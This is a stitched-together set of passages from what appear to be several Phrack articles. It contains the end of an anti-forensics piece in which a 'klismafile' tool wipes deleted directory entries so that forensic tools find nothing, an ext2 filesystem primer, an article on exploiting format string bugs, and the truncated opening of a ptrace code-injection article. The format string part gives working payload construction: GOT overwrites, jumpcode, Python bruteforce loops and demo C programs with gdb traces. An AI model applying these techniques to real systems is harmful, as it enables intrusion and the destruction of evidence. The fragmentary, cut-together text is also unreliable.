26 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
27 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
28 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
29 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
30 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
31 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
32 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
33 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
34 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
35 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
36 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
37 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
# ./fls -d /dev/hda6 2
? * 0: a
? * 0: b
? * 0: c
? * 0: d
? * 0: e
? * 0: f
? * 0: g
? * 0: h
? * 0: i
? * 0: j
? * 0: k
? * 0: l
? * 0: m
? * 0: n
? * 0: o
? * 0: p
? * 0: q
? * 0: r
? * 0: s
? * 0: t
? * 0: u
? * 0: v
? * 0: w
? * 0: x
? * 0: y
? * 0: z
#
# ./klismafile -v /mnt
Scrubbing device: /dev/hda6
cleansing /
-> a
-> b
-> c
-> d
-> e
-> f
-> g
-> h
-> i
-> j
-> k
-> l
-> m
-> n
-> o
-> p
-> q
-> r
-> s
-> t
-> u
-> v
-> w
-> x
-> y
-> z
Total files found: 29
Directories checked: 1
Dirents removed : 26
#
# ./fls -d /dev/hda6 2
#
These examples speak for themselves. The 'fls' utility is part of the
TCT-UTILS package, and is intended to examine directory files. In this
case, it is listing all deleted directory entries in the root directory of
the file system. Klismafile is then run in verbose mode, listing and
overwriting each directory entry it encounters. After klismafile, fls is
incapable of noting that anything is amiss within the directory file.
Note: The linux 2.4 kernel caches directories in kernel memory, rather
than immediately updating the file system on disk. Because of this, the
directory file that klismafile examines and attempts to clean might not be
current, or the changes made might get overwritten by the kernel. Usually,
performing disk activity in another directory will flush the cache,
allowing kilsmafile to work optimally.
--[ 5 - Conclusion
Digital forensic tools are buggy, error prone and inherently flawed.
Despite these short comings they are being relied on more and more
frequently to investigate computer break-ins. Given that this
fundamentally broken software plays such a key role in incident response,
it is somewhat surprising that no-one has documented anti-forensic
techniques, nor sort to develop counter-measures (anti-anti-forensics).
Some suggestions regarding anti-anti-forensics methodology are presented
here, to provide the security community a foothold in the struggle against
anti-forensics.
--[ 6 - Greets
--[ 7 - References:
--[ 8 - APPENDIX A
The second extended file system (ext2fs) is the standard file system on
the Linux OS. This paper will provide an introduction to the file system.
Reading this document is no substitute for reading the src, both in the
kernel and in the ext2fs library.
. o O ( B L O C K S ) O o .
The basic component of the file system is the data block, used to store
file content. Typically, the smallest addressable unit on a hard disk is a
sector (512 bytes), but this is too small for decent I/O rates. To increase
performance multiple sectors are clustered together and treated as one
unit: the data block. The typical block size on an ext2fs system is 4096
bytes; however, it can be 2048 bytes or even as small as 1024 (8, 4 and 2
sectors, respectively).
. o O ( I N O D E S ) O o .
The second core part of the file system, the inode, is the heart of
the Unix file system. It contains the meta-data about each file including:
pointers to the data blocks, file permissions, size, owner, group and other
vital peices of information.
---------------------------------------------------------------------------
struct ext2_inode {
__u16 i_mode; /* File mode */
__u16 i_uid; /* Owner Uid */
__u32 i_size; /* Size in bytes */
__u32 i_atime; /* Access time */
__u32 i_ctime; /* Creation time */
__u32 i_mtime; /* Modification time */
__u32 i_dtime; /* Deletion Time */
__u16 i_gid; /* Group Id */
__u16 i_links_count; /* Links count */
__u32 i_blocks; /* Blocks count */
__u32 i_flags; /* File flags */
union {
struct {
__u32 l_i_reserved1;
} linux1;
struct {
__u32 h_i_translator;
} hurd1;
struct {
__u32 m_i_reserved1;
} masix1;
} osd1; /* OS dependent 1 */
__u32 i_block[EXT2_N_BLOCKS];/* Pointers to blocks */
__u32 i_version; /* File version (for NFS) */
__u32 i_file_acl; /* File ACL */
__u32 i_dir_acl; /* Directory ACL */
__u32 i_faddr; /* Fragment address */
union {
struct {
__u8 l_i_frag; /* Fragment number */
__u8 l_i_fsize; /* Fragment size */
__u16 i_pad1;
__u32 l_i_reserved2[2];
} linux2;
struct {
__u8 h_i_frag; /* Fragment number */
__u8 h_i_fsize; /* Fragment size */
__u16 h_i_mode_high;
__u16 h_i_uid_high;
__u16 h_i_gid_high;
__u32 h_i_author;
} hurd2;
struct {
__u8 m_i_frag; /* Fragment number */
__u8 m_i_fsize; /* Fragment size */
__u16 m_pad1;
__u32 m_i_reserved2[2];
} masix2;
} osd2; /* OS dependent 2 */
};
---------------------------------------------------------------------------
* i_mode The mode of the file, this is the usual octal permissions
that Unix users should be familiar with.
* i_uid The UID of the owner of the file.
* i_size The size of the file, in bytes. Clearly the maximum size is
4G, as size is an unsigned 32bit integer. Support for 64bit
file sizes had been hacked in with the following define
supplying the high 32bits:
#define i_size_high i_dir_acl
* i_atime The last time the file was accessed. All times are stored
in usual Unix manner: seconds since the epoch.
* i_dtime The deletion time of the file. If the file is still live
then the time will be 0x00000000.
* i_links_count The number of times that the file is referenced in the high
level file system. That is, each hard link to the file
increments this count. When the last link to the file is
removed from the FS, and the links count reaches 0, the
file is deleted. The blocks referenced by the inode are
marked as free in the bitmap.
* i_block[] The block pointers. There are 15 array elements, the first
12 elements are direct blocks pointers; their blocks
contain actual file content. The 13th element points to a
block that acts as an extension of the array. This block is
an indirect block, and the pointers it contains point to
additional direct blocks. The 14th element points to a block
containing an array of block pointers to indirect blocks.
This element is the doubly indirect block. The last element
is the trebly indirect block. This block contains pointers
to doubly indirect blocks.
---------------------------------------------------------------------------
#define EXT2_NDIR_BLOCKS 12
#define EXT2_IND_BLOCK EXT2_NDIR_BLOCKS
#define EXT2_DIND_BLOCK (EXT2_IND_BLOCK + 1)
#define EXT2_TIND_BLOCK (EXT2_DIND_BLOCK + 1)
#define EXT2_N_BLOCKS (EXT2_TIND_BLOCK + 1)
---------------------------------------------------------------------------
* i_faddr The fragment address. Fragments are not used on the ext2fs;
therefore, this value is always 0.
---------------------------------------------------------------------------
#define EXT2_BAD_INO 1 /* Bad blocks inode */
#define EXT2_ROOT_INO 2 /* Root inode */
#define EXT2_ACL_IDX_INO 3 /* ACL inode */
#define EXT2_ACL_DATA_INO 4 /* ACL inode */
#define EXT2_BOOT_LOADER_INO 5 /* Boot loader inode */
#define EXT2_UNDEL_DIR_INO 6 /* Undelete directory inode */
---------------------------------------------------------------------------
The bad blocks inode contains block pointers to data blocks that occupy
bad sectors of the hard disk. The root inode is the root directory that
contains the head of the file system tree. The other inodes are not
typically used on production systems. The first inode used for user files
is inode 11. This inode is the directory "lost+found", created by the tool
mkfs.
. o O ( S U P E R B L O C K ) O o .
The super block is the most basic means that the kernel has of
determining the status of the file system. It indicates the number of
inodes, blocks, and groups, in addition to various other pieces of
information. The elements within the super block structure change more
rapidly than the inode or group data. This is because libext2fs adds
features to the ext2fs which might not be implemented in the kernel. The
format we examine is from e2fsprogs-1.19.
The super block is 1024 bytes in size, and offset 1024 bytes from the
start of the partition.
The format of the super block is as follows:
---------------------------------------------------------------------------
struct ext2fs_sb {
__u32 s_inodes_count; /* Inodes count */
__u32 s_blocks_count; /* Blocks count */
__u32 s_r_blocks_count; /* Reserved blocks count */
__u32 s_free_blocks_count; /* Free blocks count */
__u32 s_free_inodes_count; /* Free inodes count */
__u32 s_first_data_block; /* First Data Block */
__u32 s_log_block_size; /* Block size */
__s32 s_log_frag_size; /* Fragment size */
__u32 s_blocks_per_group; /* # Blocks per group */
__u32 s_frags_per_group; /* # Fragments per group */
__u32 s_inodes_per_group; /* # Inodes per group */
__u32 s_mtime; /* Mount time */
__u32 s_wtime; /* Write time */
__u16 s_mnt_count; /* Mount count */
__s16 s_max_mnt_count; /* Maximal mount count */
__u16 s_magic; /* Magic signature */
__u16 s_state; /* File system state */
__u16 s_errors; /* Behaviour when detecting errors */
__u16 s_minor_rev_level; /* minor revision level */
__u32 s_lastcheck; /* time of last check */
__u32 s_checkinterval; /* max. time between checks */
__u32 s_creator_os; /* OS */
__u32 s_rev_level; /* Revision level */
__u16 s_def_resuid; /* Default uid for reserved blocks */
__u16 s_def_resgid; /* Default gid for reserved blocks */
/*
* These fields are for EXT2_DYNAMIC_REV superblocks only.
*
* Note: the difference between the compatible feature set and
* the incompatible feature set is that if there is a bit set
* in the incompatible feature set that the kernel doesn't
* know about, it should refuse to mount the filesystem.
*
* e2fsck's requirements are more strict; if it doesn't know
* about a feature in either the compatible or incompatible
* feature set, it must abort and not try to meddle with
* things it doesn't understand...
*/
__u32 s_first_ino; /* First non-reserved inode */
__u16 s_inode_size; /* size of inode structure */
__u16 s_block_group_nr; /* block group # of this superblock */
__u32 s_feature_compat; /* compatible feature set */
__u32 s_feature_incompat; /* incompatible feature set */
__u32 s_feature_ro_compat; /* readonly-compatible feature set */
__u8 s_uuid[16]; /* 128-bit uuid for volume */
char s_volume_name[16]; /* volume name */
char s_last_mounted[64]; /* directory where last mounted */
__u32 s_algorithm_usage_bitmap; /* For compression */
/*
* Performance hints. Directory preallocation should only
* happen if the EXT2_FEATURE_COMPAT_DIR_PREALLOC flag is on.
*/
__u8 s_prealloc_blocks; /* Nr of blocks to try to preallocate*/
__u8 s_prealloc_dir_blocks; /* Nr to preallocate for dirs */
__u16 s_padding1;
/*
* Journaling support.
*/
__u8 s_journal_uuid[16]; /* uuid of journal superblock */
__u32 s_journal_inum; /* inode number of journal file */
__u32 s_journal_dev; /* device number of journal file */
__u32 s_last_orphan; /* start of list of inodes to delete */
* s_mtime The last time the file system was mounted. All time
values are stored as seconds since the epoch.
* s_lastcheck The last time the file system was fsck'd, stored in
typical Unix sec's since epoch format.
* s_block_group_nr The block group that this super block is stored in.
* s_padding1 padding.
. o O ( G R O U P S ) O o .
* bg_pad padding.
* pg_reserved[] padding.
. o O ( D I R E C T O R I E S ) O o .
* rec_len The size of the directory entry. As the length of the name
can be anything up to 255 byte, this allows for more
efficient use of space within the directory file.
* name_len The length of the file's name. This can be up to 255 bytes.
* file_type The type of file, i.e. symlink, device, etc. etc. The
following are valid values:
---------------------------------------------------------------------------
#define EXT2_FT_UNKNOWN 0
#define EXT2_FT_REG_FILE 1
#define EXT2_FT_DIR 2
#define EXT2_FT_CHRDEV 3
#define EXT2_FT_BLKDEV 4
#define EXT2_FT_FIFO 5
#define EXT2_FT_SOCK 6
#define EXT2_FT_SYMLINK 7
---------------------------------------------------------------------------
This concludes the walk through of the physical layout of the ext2 file
system. Further information is available from
http://e2fsprogs.sourceforge.net.
1 - Intro
Part I
2 - Bruteforcing format strings
4 - n times faster
4.1 - multiple address overwrite
4.2 - multiple parameters bruteforcing
Part II
5 - Exploiting heap based format strings
7 - the trick
7.1 - example 1
7.2 - example 2
7.3 - example 3
7.4 - example 4
10 - conclusions
10.1 - is it dangerous to overwrite the l0 (on the stack frame) ?
10.2 - is it dangerous to overwrite the ebp (on the stack frame) ?
10.3 - is this reliable ?
The End
11 - more greets and thanks
12 - References
--[ 1. Intro
Is there anything else to say about format strings after all this time?
probably yes, or at least we are trying... To start with, go get scut's
excellent paper on format strings [1] and read it.
This text deals with 2 different subjects. The first is about different
tiny tricks that may help speeding up bruteforcing when exploiting format
strings bugs, and the second is about exploting heap based format strings
bugs.
A format string lets you, after dealing with it, write what you want
where you want... I like to call this a write-anything-anywhere primitive,
and the trick described here can be used whenever you have a
write-anything-anywhere primitive, be it a format string, an overflow over
the "destination pointer of a strcpy()", several free()s in a row, a
ret2memcpy buffer overflow, etc.
Well, sometimes there are other tricks you can do, use a read primitive
to learn something from the target process, or turn a write primitive into
a read primitive, or use more nops, or target stack or just hardcode some
addresses and go happy with it...
But, there is something else you can do, as you are not limited to
writing only 4 bytes, you can write more than the address to the shellcode,
you can also write the shellcode!
Even with a single format string bug you can write not only more than
4, bytes, but you can also write them to different places in memory, so you
can choose any known to be writable and executable address, lets say,
0x8051234 (for some target program running on some linux), write some code
there, and change the function pointer (GOT, atexit()'s functions, etc) to
point it:
0x8051234: shellcode
Ok, right, you got me... you cannot write a 200 bytes shellcode using
this technique with a format string (or can you?), maybe you can write a
30 bytes shellcode, but maybe you only have a few bytes... so, we need a
really small jumpcode for this to work.
I'm pretty sure you'll be able to put the code somewhere in target's
memory, in stack or in heap, or somewhere else (!?). If this is the case,
we need our jumpcode to locate the shellcode and jump there, what could
be really easy, or a little more tricky.
GOT[read]: 0x8051234
Is the code in heap?, but you don't have the slightest idea where it
is? Just follow Kato (this version is 18 bytes, Kato's version is a little
longer, but only made of letters, he didn't use a format string though):
GOT[read]: 0x8051234
0x8051234: cld
mov $0x4f54414a,%eax ; so it doesn find
inc %eax ; itself (tx juliano)
mov $0x804fff0, %edi ; start searching low
; in memory
repne scasl
jcxz .-2 ; keep searching!
jmp *$edi ; upper case letters
; are ok opcodes.
somewhere
in heap: 'KATO' ; if you know the alignment
'KKATO' ; one is enough, otherwise
'KKATO' ; make some be found
'KKATO'
real shellcode
GOT[read]: 0x8051234
somewhere
in stack: 'KATO' ; you'll know the alignment
real shellcode
Something else? ok, you figure your jumpcode yourself :-) But be
carefull! 'KATO' may not be a good string, as it's executed and has some
side effect. :-)
You may even use a jumpcode which copies from stack to heap if the
stack is not executable but the heap is.
When changing GOT you can choose what function pointer you want to use,
some functions may be better than others for some targets. For example, if
you know that after you changed the function pointer, the buffer containing
the shellcode will be free()ed, you can just do: (2 bytes)
The same may happen with read() if the same buffer with the shellcode
is reused to read more from the net, or syslog() or a lot of other
functions... Sometimes you may need a jumpcode a little more complex if
you need to skip some bytes at the beggining of the shellcode:
(7 or 10 bytes)
And if nothing else works, but you can distinguish between a crash and
a hung, you can use a jumpcode with an infinite loop that will make the
target hung: You bruteforce GOT's address until the server hungs, then you
know you have the right address for some GOT entry that works, and you can
start bruteforcing the address for the real shellcode.
GOT[exit]: 0x8051234
/* fs1.c *
* demo program to show format strings techinques *
* specially crafted to feed your brain by gera@corest.com */
int main() {
char buf[1000];
strcpy(buf,
"\x94\x90\x04\x08" // GOT[free]'s address
"\x96\x90\x04\x08" //
"\x98\x90\x04\x08" // jumpcode address (2 byte for the demo)
"%.37004u" // complete to 0x9098 (0x9098-3*4)
"%8$hn" // write 0x9098 to 0x8049094
"%.30572u" // complete to 0x10804 (0x10804-0x9098)
"%9$hn" // write 0x0804 to 0x8049096
"%.47956u" // complete to 0x1c358 (0x1c358-0x10804)
"%10$hn" // write 5B C3 (pop - ret) to 0x8049098
);
printf(buf);
}
(gdb) br main
Breakpoint 1 at 0x8048439
(gdb) r
Breakpoint 1, 0x08048439 in main ()
(gdb) n
...0000000000000...
So, if the address of the GOT entry for free() is 0x8049094, the next
time free() is called in the program our little jumpcode will be called
instead.
This last method has another advantage, it can be used not only on
format strings, where you can make every write to a different address, but
it can also be used with any write-anything-anywhere primitive, like a
"destination pointer of strcpy()" overwrite, or a ret2memcpy buffer
overflow. Or if you are as lucky [or clever] as lorian, you may even do
it with a single free() bug, as he teached me to do.
--[ 4. n times faster
If you can write more than 4 bytes, you can not only put the shellcode
or jumpcode where you know it is, you can also change several pointers at
the same time, speeding up things again.
As %hn does not add characters to the output string, we can write the
same value to several locations without having to add more padding. For
example, to turn this format string into one that writes the value
0x12345678 to 5 consecutive words starting in 0x8049094 we can use:
Sometimes you don't know how many parameters you have to pop, or how
many to skip with direct parameter access, and you need to try until you
hit the right number. Sometimes it's possible to do it in a more
inteligent way, specially when it's not a blind format string (did I say
it already? go read scut's paper [1]!). But anyway, there may be cases
when you don't know how many parameters to skip, and have to find it out
trying, as in the next pythonish example:
pops = 8
worked = 0
while (not worked):
fstring = "\x94\x90\x04\x08" # GOT[free]'s address
fstring += "\x96\x90\x04\x08" #
fstring += "\x98\x90\x04\x08" # jumpcode address
fstring += "%.37004u" # complete to 0x9098
fstring += "%%%d$hn" % pops # write 0x9098 to 0x8049094
fstring += "%.30572u" # complete to 0x10804
fstring += "%%%d$hn" % (pops+1) # write 0x0804 to 0x8049096
fstring += "%.47956u" # complete to 0x1c358
fstring += "%%%d$hn" % (pops+2) # write (pop - ret) to 0x8049098
worked = try_with(fstring)
pops += 1
pops = 8
worked = 0
while (not worked):
fstring = "\x94\x90\x04\x08" * 5 # GOT[free]'s address
fstring += "\x96\x90\x04\x08" * 5 # repeat eddress 5 times
fstring += "\x98\x90\x04\x08" * 5 # jumpcode address
fstring += "%.37004u" # complete to 0x9098
fstring += "%%%d$hn" % pops # write 0x9098 to 0x8049094
fstring += "%.30572u" # complete to 0x10804
fstring += "%%%d$hn" % (pops+6) # write 0x0804 to 0x8049096
fstring += "%.47956u" # complete to 0x1c358
fstring += "%%%d$hn" % (pops+11) # write (pop - ret) to 0x8049098
worked = try_with(fstring)
pops += 5
Hitting any of the 5 copies well be ok, the most copies you can put
the better.
It may look stupid but may help you some day, you never know... and of
course the same could be done without direct parameter access, but it's a
little more complicated as you have to recalculate the length for %.u
format specifiers on every try.
Through this text my only point was: a format string is more than a
mere 4-bytes-write-anything-anywhere primitive, it's almost a full
write-anything-anywhre primitive, which gives you more posibilities.
Usually the format strings lies on the stack. But there are cases where
it is stored on the heap, and you CAN'T see it.
Here I present a way to deal with these format strings in a generic way
within SPARC (and big-endian machines), and at the end we'll show you how
to do the same for little-endian machines.
Since with format strings we can see the stack, we are going to study
it more carefully.
The stack frames in SPARC looks more or less like the following:
And so on...
The temp_N are local variables that are saved in the stack. The frame 1
starts where the frame 0's local variables end, and the frame 2 starts,
where the frame 1's local variables end, and so on.
All these frames are stored in the stack. So we can see all of these
stack frames with our format strings.
The trick lies in the fact that every stack frame has a pointer to the
previous stack frame. Furthermore, the more pointers to the stack we have,
the better.
Why ? Because if we have a pointer to our own stack, we can overwrite the
address that it points to with any value.
Suppose that we want to put the value 0x1234 in frame 1's l0. What we will
try to do is to build a format string, whose length is 0x1234, by the time
we've reached stack frame 0's fp with a %n.
Supposing that the first argument that we see is the frame 0's l0
register, we should have a format string like the following (in python):
So, after the format string has been executed, our stack should look like
this:
frame 0 frame 1
[ l0 ] +----> [ 0x00001234 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] [ i7 ]
[ temp 1] [ temp 1]
[ temp 2]
frame 0 frame 1
[ l0 ] +----> [ l0 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] | [ i7 ]
[ temp 1] ----+ [ temp 1]
[ temp 2]
[ Note: We are not going to find always 2 pointers that point to the same
address, though it is not rare. ]
In the case that we only have 1 pointer, we can get the same result by
using the 'direct parameter access' in the format string, with
%argument_number$, where 'argument_number' is a number between 0 and 30
(in Solaris).
frame 0 frame 1
[ l0 ] +----> [ 0x20001234 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] [ i7 ]
[ temp 1] [ temp 1]
[ temp 2]
But it could well happen that I don't have 2 pointers that point to the
same address in the stack, and the first address that points to the stack
is outside the scope of the first 30 arguments. What could I then do ?
Remember that with plain '%n', you can write very large numbers, like
0x00028000 and higher. You should also keep in mind that the binary's PLT
is usually located in very low addresses, like 0x0002????. So, with just
one pointer that points to the stack, you can get a pointer that points to
the binary's PLT.
So, now that we have 2 pointers, one that points to 0x00029e8c and
another that points to 0x00029e8e, we have finally achieved our goal! Now,
we can exploit this situation just like any other format string
vulnerability :)
As you can see, this was done with just one format string. But this is
not always possible. If we can't build 2 pointers, what we need to do, is
to abuse the format string twice.
We can also, exploit a heap based format strings in the i386 arquitecture
using a very similar technique. Lets see how the i386 stack works.
As you can see, i386's stack is very similar to SPARC's, the main
difference is that all the addresses are stored in little-endian format.
frame0 frame1
[ LSB | MSB ] ---> [ LSB | MSB ]
[ ] [ ]
+----------------------------+
| |
| V
[LSB | MSB] | [LSB | MSB] ---> [LSB | MSB]
[ ] | [ ] [ ]
[ ] -+ [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame B Frame C Frame D
Heh! as you probably guessed, this is not very common on everyday stacks,
so, what we are going to do, is build the pointers we need, and then, of
course, use them.
Warning! We just found out that this technique does not work on latest
Linuxes, we are not even sure if works on any (it depends on libc/glibc
version), but we know it works, at least, on OpenBSD, FreeBSD and Solaris
x86).
This trick will need an aditional frame... latter we'll try to get rid
of as many frames as possible.
+----------------------------+
| |
| V
[LSB | MSB] ---> [LSB | MSB] -+ [LSB | MSB] ---> [LSB | MSB]
[ ] [ ] [ ] [ ]
[ ] [ ] [ ] [ ]
[ ... ] [ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C Frame D
We are abusing the fact that ebp is already pointing to the stack, and we
assume that changing its 2 LSB will be enough to make it point to another
frame's saved ebp. There may be some problems with this (if Frame D is
not on the same 64k "segment" of Frame C), but we'll get rid of this
problem in the following examples.
So with 4 stack frames, we could build one pointer in the stack, and with
that pointer we could write 2 bytes anywhere in memory. If we have 8 stack
frames we could repeat the process and build 2 pointers in the stack,
allowing us to write 4 bytes anywhere in memory.
There are cases where you don't have 8 (or 4) stack frames. What can we
do then? Well, using direct parameter access, we could use just 3 stack
frames to do everything, and not only a 4-bytes-write-anything-anywhere
primitive but almost a full write-anything-anywhere primitive.
Lets see how we can do it, heavily abusing direct parameter access,
our target? to build the address 0xdfbfddf0 in the stack, so we can use it
latter with another %hn to write there.
step 1:
Frame B's saved frame pointer (saved ebp) is already pointing to Frame
C's saved ebp, so, the first thing we are going to do is change Frame's C
LSB:
# step 1
'%.56816u' + # change the length (we want to write 0xddf0)
'%14$hn' + # Write where argument 14 is pointing
# (arg 14 is Frame B's ebp)
step 2:
[ LSB | MSB ] ---> [ LSB | MSB ] ---> [ ddf0| MSB ]
[ ] [ ] [ ]
[ ] [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C
As Frame A's ebp is already pointing to Frame B's ebp, we can use it to
change the LSB of Frame B's ebp, and as it is already pointing to Frame C's
ebp's LSB we can make it point to Frame C's ebp's MSB, we won't have the
64k segments problem this time, as Frame C's ebp's LSB must be in the same
segment as its MSB, as it's always 4 bytes aligned... I know it's
confusing...
For example if Frame C is at 0xdfbfdd6c, we will want to make Frame B's
ebp to point to 0xdfbfdd6e, so we can write target address' MSB.
# step 2
'%.65406u'+ # we want to write 0xdd6e (65406 = 0x1dd6e-0xddf0)
'%6$hn' + # Write where argument 6 is pointing
# (assuming arg 6 is Frame A's ebp)
step 3:
+----------+
| V
[ LSB | MSB ] ---> [ dd6e| MSB ] --+ [ ddf0| MSB ]
[ ] [ ] [ ]
[ ] [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C
The new Frame B points to the MSB of the Frame C's ebp. And now, with
another direct parameter access, we build the MSB of the address that we
were looking for.
# step 3
'%.593u' + # we want to write 0xdfbf (593 = 0xdfbf - 0xdd6e)
'%14$n' + # Write where argument 14 is pointing
# (arg 14 is Frame B's ebp)
our result:
+----------+
| V
[ LSB | MSB ] ---> [ dd6e| MSB ] --+ [ ddf0| dfbf]
[ ] [ ] [ ]
[ ] [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C
As you can see, we have our pointer in Frame C's ebp, now we could use it
to write 2 bytes anywhere in memory. This won't be enough normally to make
an exploit, but we could use the same trick, USING THESE 3 STACK FRAMES
AGAIN, to build another pointer (and another, and another...)
Hey, we've found a pointer generator :-) with only 3 stack frames.
The following code will use 3 frames (A,B,C) and multiple parameters
access to write the value 0xaabbccdd to the address 0xdfbfddf0. It was
tested on an OpenBSD 3.0, and can be tried on other systems. We'll show
you here how to tune it to your box.
/* fs2.c *
* demo program to show format strings techinques *
* specially crafted to feed your brain by gera@corest.com */
do_printf(char *msg) {
printf(msg);
}
char *write_two_bytes(
unsigned long where,
unsigned short what,
int restoreFrameB)
{
static char buf[1000]={0}; // enough? sure! :)
static int a,b=0;
if (restoreFrameB)
sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff)));
sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff));
sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2));
sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10));
sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what));
return buf;
}
int main() {
char *buf;
buf = write_two_bytes(0xdfbfddf0,0xccdd,0);
buf = write_two_bytes(0xdfbfddf2,0xaabb,1);
do_printf(buf);
}
gera@vaiolent> cc -o fs fs.c
gera@vaiolent> gdb fs
(gdb) br do_printf
(gdb) r
(gdb) disp/i $pc
(gdb) ni
(gdb) p "run until you get to the first call in do_printf"
(gdb) ni
1: x/i $eip 0x17a4 <do_printf+12>: call 0x208c <_DYNAMIC+140>
(gdb) bt
#0 0x17a4 in do_printf ()
#1 0x1968 in main ()
(gdb) x/40x $sp
0xdfbfdcf8: 0x000020d4 0xdfbfdd70 0xdfbfdd00 0x0000195f
0xdfbfdd08: 0xdfbfddf2 0x0000aabb [0xdfbfdd30]--+ (0x00001968)
0xdfbfdd18: 0x000020d4 0x0000ccdd 0x00000000 | 0x00001937
0xdfbfdd28: 0x00000000 0x00000000 +-[0xdfbfdd6c]<-+ 0x0000109c
0xdfbfdd38: 0x00000001 0xdfbfdd74 | 0xdfbfdd7c 0x00002000
0xdfbfdd48: 0x0000002f 0x00000000 | 0x00000000 0xdfbfdff0
0xdfbfdd58: 0x00000000 0x0005a0c8 | 0x00000000 0x00000000
0xdfbfdd68: 0x00002000 [0x00000000]<-+ 0x00000001 0xdfbfddd4
0xdfbfdd78: 0x00000000 0xdfbfddeb 0xdfbfde04 0xdfbfde0f
0xdfbfdd88: 0xdfbfde50 0xdfbfde66 0xdfbfde7e 0xdfbfde9e
Ok, time to start getting the right values. First, 0x1968 (from previous
'bt' command) is where do_printf() will return after finishing, locate it
in the stack (in this example it's at 0xdfbfdd14). The previous word is
where Frame A starts, and is where Frame A's ebp is saved, here it's
0xdfbfdd30.
Great! now we need the direct parameter access number for it, so, as we
executed up to the call, the first word in the stack is the first argument
for printf(), numbered 0. If you count, starting from 0, up to Frame A's
ebp, you'll count 6 words, that's the number we want.
Now, locate where Frame A's ebp is pointing to, that's Frame B's ebp,
here 0xdfbfdd6c. Count again, you'll get 14, 2nd value needed. Cool, now
Frame B's saved ebp is ponting to Frame C's ebp, so, we already have
another value: 0xdfbfdd6c. And to get the last number needed, you need to
count again, until you get to Frame C's ebp (count until you get to the
address 0xdfbfdd6c), you should get 29.
Now edit your fs.c, compile it, gdb it, and run past the call (one more
'ni'), you should see a lot of zeros and then:
This time We'll leave the experimentation with this two variantes (and
others) to the reader.
This is not perfect, but practice shows that you will not have many
problems in changing the value of l0. But, would you be unlucky, you may
prefer to modify the l0's that belongs to main()'s and _start()'s stack
frames.
--[ 10.2. is it dangerous to overwrite the ebp (on the stack frame) ?
Yes, it's very dangerous. Probably your program will crash. But as we
saw, you can restore the original ebp value using the pointer generator :-)
And as in the SPARC case, you may prefer to modify the ebp's that belongs
to the main(), _start(), etc, stack frames.
If you know the state of the stack, or if you know the sizes of the stack
frames, it is reliable. Otherwise, unless the situation lets you implement
some smooth way of bruteforcing all the numbers needed, this technique
won't help you much.
I think when you have to overwrite values that are located in addresses
that have zeros, this may be your only hope, since, you won't be able to
put a zero in your format string (because it will truncate your string).
Also in SPARC, the binaries' PLT are located in low addresses and it is
more reliable to overwrite the binary's PLT than the libc's PLT. Why is
this so? Because, I would guess, in Solaris libc changes more frequently
than the binary that you want to exploit. And probably, the binary you want
to exploit will never change!
gera:
riq, for trying every stupid idea I have and making it real!
Impact, for forcing me to spend time thinking about all theese amazing
things.
gera, for finding out how to exploit the heap based format strings in
i386, for his ideas, suggestions and fixes.
juliano, for letting me know that I can overwrite, as may times as I
want an address using 'direct access', and other tips about format
strings.
[2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team.
January 1999. http://www.w00w00.org/articles.html
==Phrack Inc.==
--[ Contents
1 - Introduction
2 - ptrace() - Linux debugging API
3 - resolving symbols
4 - plain asm code injection - old fashioned way
5 - .so injection - easy way
6 - A brief note about shared lib redirection
7 - Conclusion
8 - References
--[ 1 - Introduction
Linux offers one simple function for playing with processes, and it can do
pretty much everything we need to do. We will not take a more indepth look
at ptrace() here, since its quite simple and pretty much all we need to
know can be found on the man page. However we will introduce a couple of
helper functions to make working with ptrace() easier.
/* attach to pid */
void
ptrace_attach(int pid)
{
if((ptrace(PTRACE_ATTACH , pid , NULL , NULL)) < 0) {
perror("ptrace_attach");
exit(-1);
}
/* continue execution */
void
ptrace_cont(int pid)
{
if((ptrace(PTRACE_CONT , pid , NULL , NULL)) < 0) {
perror("ptrace_cont");
exit(-1);
}
/* detach process */
void
ptrace_detach(int pid)
{
if(ptrace(PTRACE_DETACH, pid , NULL , NULL) < 0) {
perror("ptrace_detach");
exit(-1);
}
}
void *
read_data(int pid ,unsigned long addr ,void *vptr ,int len)
{
int i , count;
long word;
